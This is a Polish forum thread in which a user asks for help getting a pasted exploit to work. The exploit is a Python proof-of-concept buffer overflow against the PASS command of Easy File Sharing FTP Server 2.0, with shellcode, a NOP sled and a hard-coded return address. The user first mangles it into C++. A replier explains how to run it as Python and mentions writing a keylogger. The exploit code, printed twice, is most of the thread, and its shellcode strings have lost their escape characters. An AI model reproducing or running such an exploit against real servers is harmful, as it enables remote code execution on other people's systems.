Pomocy

przemo

Użytkownik
Dołączył
Październik 11, 2004
Posty
14
Uzywam programu Dev-C++ 4.9.8.0 w tym exploicie wyskajuą mi 3 błędy możecie mi pomóc je znaleść bo już nie mam pojecia jak to naprawić z góry dzięki

Kod:
#include <stdlib.h>

#include <iostream> 

#include <stdio.h> 

#include <windows.h> 

host = "127.0.0.1"

port = 21

len_recv = 1024

user_name = "anonymous"

NOP_LEN = 2571

EIP = 0x77AB367B 



from socket import *



shellcode =  

"x31xc9x83xe9xdbxd9xeexd9x74x24xf4x5bx81x73x13xd8"

"x22x72xe4x83xebxfcxe2xf4x24xcax34xe4xd8x22xf9xa1"

"xe4xa9x0exe1xa0x23x9dx6fx97x3axf9xbbxf8x23x99x07"

"xf6x6bxf9xd0x53x23x9cxd5x18xbbxdex60x18x56x75x25"

"x12x2fx73x26x33xd6x49xb0xfcx26x07x07x53x7dx56xe5"

"x33x44xf9xe8x93xa9x2dxf8xd9xc9xf9xf8x53x23x99x6d"

"x84x06x76x27xe9xe2x16x6fx98x12xf7x24xa0x2dxf9xa4"

"xd4xa9x02xf8x75xa9x1axecx31x29x72xe4xd8xa9x32xd0"

"xddx5ex72xe4xd8xa9x1axd8x87x13x84x84x8exc9x7fx8c"

"x28xa8x76xbbxb0xbax8cx6exd6x75x8dx03x30xccx8dx1b"

"x27x41x13x88xbbx0cx17x9cxbdx22x72xe4")



def intel_order(i):

    a = chr(i % 256)

    i = i >> 8

    b = chr(i % 256)

    i = i >> 8

    c = chr(i % 256)

    i = i >> 8

    d = chr(i % 256)

    str = "%c%c%c%c" % (a, b, c, d)

    return str



s = socket(AF_INET, SOCK_STREAM)

s.connect((host, port))

print s.recv(len_recv)



buffer = "USER %srn" % (user_name)



s.send(buffer)

print s.recv(len_recv)



buffer = "PASS "

buffer += "x2c"

buffer += "x90" * (NOP_LEN - len(shellcode))

buffer += shellcode

buffer += intel_order(EIP)

buffer += "rn"



s.send(buffer)

print s.recv(len_recv)

s.close()



);
 

M1ch00

Użytkownik
Dołączył
Sierpień 22, 2006
Posty
609
Piękny kod...
1. Nie ma podanych typów zmiennych. Dev zatrzymuje się na 1, ale tu jest tego więcej.
2. Cały kod wygląda jakby został przycięty - jakieś 1/2 wcięcia są wywalone.
Więc trzeba napisać wszystkie funkcje i typy zmiennych, to może(może, bo nie analizowałem go za bardzo) się skompiluje i uruchomi.
Prawdopodobnie zabezpieczenie przed idotami, ewentualnie jest to jakiś nieznany mi język programowania o równie sztywnej składnie jak perl
<
 

M1ch00

Użytkownik
Dołączył
Sierpień 22, 2006
Posty
609
Originally posted by D0han
[...]
@up
Raczej to nie jest perl [;
Porównanie do perla odnosiło się do składni gdyby to coś było kodem źródłowym. "Logika" tego kodu jest bardzo prosta do zrozumienia - jakieś ~2min na napisanie brakujących fragmentów.

przemo:
Na jaki serwer ftp to jest? Jak skończę z keylogiem to może się pobawię.
 

przemo

Użytkownik
Dołączył
Październik 11, 2004
Posty
14
Dzisiaj siedziałem nad tym programem usuwając błedy chyba z 5 godzin i widac usunołem połowe programu , jak by ktoś mógł mi pomuc rozbroić program z tych błedów był bym bardzo wdzięczny albo wytłumaczył jak to rozbroić z tych błedów

to jest program pierwotnej formie:

Kod:
#!/usr/bin/python

#Easy File Sharing FTP Server 2.0 (PASS) 0day PoC exploit

#Proof of Concept: execute calc.exe

#Bug found by h07 <[email protected]>

#Tested on XP SP2 polish

#Date: 28.07.2006

#

#BUFF([PASS + 0x20]+[0x2c]+[NOP * 2571]+[0x41414141]+[rn])

#EIP = 0x41414141

host = "127.0.0.1"

port = 21

len_recv = 1024

user_name = "anonymous"

NOP_LEN = 2571

EIP = 0x77AB367B #popad pop ret (CRYPT32.DLL) XP SP2 polish



from socket import *



shellcode = ( #execute calc.exe <metasploit.com> )

"x31xc9x83xe9xdbxd9xeexd9x74x24xf4x5bx81x73x13xd8"

"x22x72xe4x83xebxfcxe2xf4x24xcax34xe4xd8x22xf9xa1"

"xe4xa9x0exe1xa0x23x9dx6fx97x3axf9xbbxf8x23x99x07"

"xf6x6bxf9xd0x53x23x9cxd5x18xbbxdex60x18x56x75x25"

"x12x2fx73x26x33xd6x49xb0xfcx26x07x07x53x7dx56xe5"

"x33x44xf9xe8x93xa9x2dxf8xd9xc9xf9xf8x53x23x99x6d"

"x84x06x76x27xe9xe2x16x6fx98x12xf7x24xa0x2dxf9xa4"

"xd4xa9x02xf8x75xa9x1axecx31x29x72xe4xd8xa9x32xd0"

"xddx5ex72xe4xd8xa9x1axd8x87x13x84x84x8exc9x7fx8c"

"x28xa8x76xbbxb0xbax8cx6exd6x75x8dx03x30xccx8dx1b"

"x27x41x13x88xbbx0cx17x9cxbdx22x72xe4")



def intel_order(i):

    a = chr(i % 256)

    i = i >> 8

    b = chr(i % 256)

    i = i >> 8

    c = chr(i % 256)

    i = i >> 8

    d = chr(i % 256)

    str = "%c%c%c%c" % (a, b, c, d)

    return str



s = socket(AF_INET, SOCK_STREAM)

s.connect((host, port))

print s.recv(len_recv)



buffer = "USER %srn" % (user_name)



s.send(buffer)

print s.recv(len_recv)



buffer = "PASS "

buffer += "x2c"

buffer += "x90" * (NOP_LEN - len(shellcode))

buffer += shellcode

buffer += intel_order(EIP)

buffer += "rn"



s.send(buffer)

print s.recv(len_recv)

s.close()



);

//dawaj kod w znaczniki [ code ]. Pozdrawiam. Mo4x :mruga:
 

M1ch00

Użytkownik
Dołączył
Sierpień 22, 2006
Posty
609
Oj, to jest program pytona.
Jak masz linuxa to zapisujesz go np. jako ex.pl. Wywołujesz:
Kod:
chmod +x ex.pl

./ex.pl
Natomiast pod windowsa pobierasz instalkę pythona: Download

instalujesz, i uruchamiasz skrypt: FAQ
 
Do góry Bottom